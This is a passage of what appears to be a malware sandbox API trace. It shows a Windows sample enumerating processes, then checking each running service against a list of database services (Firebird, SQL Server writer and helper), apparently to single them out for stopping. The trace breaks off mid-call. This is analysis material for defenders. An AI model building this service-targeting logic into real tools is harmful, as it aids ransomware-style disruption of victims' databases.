cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0060.430] lstrlenW (lpString="romandisclosure.exe") returned 19 [0060.430] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0060.431] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0060.431] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0060.432] lstrlenW (lpString="dllhost.exe") returned 11 [0060.432] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0060.433] lstrlenW (lpString="product.exe") returned 11 [0060.433] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0060.434] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0060.434] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0060.434] lstrlenW (lpString="basin.exe") returned 9 [0060.434] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0060.435] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0060.435] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0060.436] lstrlenW (lpString="tested housewives.exe") returned 21 [0060.436] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.437] lstrlenW (lpString="conhost.exe") returned 11 [0060.437] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.438] lstrlenW (lpString="conhost.exe") returned 11 [0060.438] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.439] lstrlenW (lpString="svchost.exe") returned 11 [0060.439] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0060.440] lstrlenW (lpString="wmxsde.exe") returned 10 [0060.440] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0060.440] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0060.440] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.441] lstrlenW (lpString="conhost.exe") returned 11 [0060.441] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.442] lstrlenW (lpString="cmd.exe") returned 7 [0060.442] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.443] lstrlenW (lpString="conhost.exe") returned 11 [0060.443] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.444] lstrlenW (lpString="svchost.exe") returned 11 [0060.444] Process32NextW (in: hSnapshot=0x374, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0060.445] CloseHandle (hObject=0x374) returned 1 [0060.445] Sleep (dwMilliseconds=0x1f4) [0061.522] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6dede0 [0061.551] EnumServicesStatusExW (in: hSCManager=0x6dede0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0061.551] GetLastError () returned 0xea [0061.551] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1dba) returned 0x443bfe0 [0061.551] EnumServicesStatusExW (in: hSCManager=0x6dede0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x443bfe0, cbBufSize=0x1dba, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x443bfe0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0061.552] CloseServiceHandle (hSCObject=0x6dede0) returned 1 [0061.552] lstrlenW (lpString="Appinfo") returned 7 [0061.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0061.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0061.552] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0061.552] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0061.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0061.553] lstrlenW (lpString="AppXSvc") returned 7 [0061.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0061.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0061.553] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0061.553] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0061.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0061.553] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0061.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.553] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0061.553] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0061.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0061.553] lstrlenW (lpString="Audiosrv") returned 8 [0061.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0061.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0061.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0061.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0061.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0061.553] lstrlenW (lpString="BFE") returned 3 [0061.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0061.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0061.553] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0061.553] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0061.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0061.553] lstrlenW (lpString="BITS") returned 4 [0061.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0061.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0061.553] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0061.553] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0061.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0061.553] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0061.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0061.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0061.554] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0061.554] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0061.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0061.554] lstrlenW (lpString="CDPSvc") returned 6 [0061.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0061.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0061.554] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0061.554] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0061.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0061.554] lstrlenW (lpString="ClickToRunSvc") returned 13 [0061.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0061.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0061.554] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0061.554] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0061.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0061.554] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0061.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0061.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0061.554] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0061.554] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0061.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0061.554] lstrlenW (lpString="CryptSvc") returned 8 [0061.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0061.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0061.554] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0061.554] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0061.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0061.554] lstrlenW (lpString="DcomLaunch") returned 10 [0061.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.554] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0061.554] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0061.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0061.554] lstrlenW (lpString="DeviceAssociationService") returned 24 [0061.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0061.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0061.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0061.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0061.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0061.555] lstrlenW (lpString="Dhcp") returned 4 [0061.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0061.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0061.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0061.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0061.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0061.555] lstrlenW (lpString="Dnscache") returned 8 [0061.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0061.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0061.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0061.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0061.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0061.555] lstrlenW (lpString="DoSvc") returned 5 [0061.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0061.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0061.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0061.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0061.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0061.555] lstrlenW (lpString="DPS") returned 3 [0061.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0061.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0061.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0061.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0061.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0061.555] lstrlenW (lpString="DusmSvc") returned 7 [0061.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0061.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0061.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0061.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0061.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0061.556] lstrlenW (lpString="EventLog") returned 8 [0061.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0061.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0061.556] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0061.556] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0061.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0061.556] lstrlenW (lpString="EventSystem") returned 11 [0061.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0061.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0061.556] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0061.556] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0061.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0061.556] lstrlenW (lpString="FontCache") returned 9 [0061.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0061.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0061.556] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0061.556] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0061.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0061.556] lstrlenW (lpString="gpsvc") returned 5 [0061.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0061.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0061.556] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0061.556] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0061.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0061.556] lstrlenW (lpString="iphlpsvc") returned 8 [0061.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.556] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0061.556] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0061.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0061.556] lstrlenW (lpString="KeyIso") returned 6 [0061.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0061.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0061.557] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0061.557] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0061.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0061.557] lstrlenW (lpString="LanmanServer") returned 12 [0061.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0061.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0061.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0061.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0061.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0061.557] lstrlenW (lpString="LanmanWorkstation") returned 17 [0061.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0061.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0061.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0061.557] lstrlenW (lpString="lfsvc") returned 5 [0061.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0061.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0061.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0061.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0061.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0061.557] lstrlenW (lpString="lmhosts") returned 7 [0061.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0061.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0061.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0061.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0061.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0061.557] lstrlenW (lpString="LSM") returned 3 [0061.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0061.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0061.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0061.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0061.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0061.558] lstrlenW (lpString="MapsBroker") returned 10 [0061.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0061.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0061.558] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0061.558] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0061.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0061.558] lstrlenW (lpString="MpsSvc") returned 6 [0061.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0061.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0061.558] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0061.558] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0061.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0061.558] lstrlenW (lpString="NcbService") returned 10 [0061.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0061.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0061.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0061.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0061.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0061.558] lstrlenW (lpString="netprofm") returned 8 [0061.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0061.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0061.558] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0061.558] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0061.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0061.558] lstrlenW (lpString="NgcSvc") returned 6 [0061.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0061.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0061.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0061.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0061.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0061.558] lstrlenW (lpString="NlaSvc") returned 6 [0061.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0061.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0061.559] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0061.559] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0061.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0061.559] lstrlenW (lpString="nsi") returned 3 [0061.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0061.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0061.559] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0061.559] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0061.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0061.559] lstrlenW (lpString="PcaSvc") returned 6 [0061.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0061.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0061.559] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0061.559] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0061.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0061.559] lstrlenW (lpString="PlugPlay") returned 8 [0061.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0061.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0061.559] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0061.559] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0061.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0061.559] lstrlenW (lpString="Power") returned 5 [0061.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0061.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0061.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0061.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0061.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0061.559] lstrlenW (lpString="ProfSvc") returned 7 [0061.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0061.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0061.559] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0061.559] lstrcmpiW (lpString1="mssqlserver", 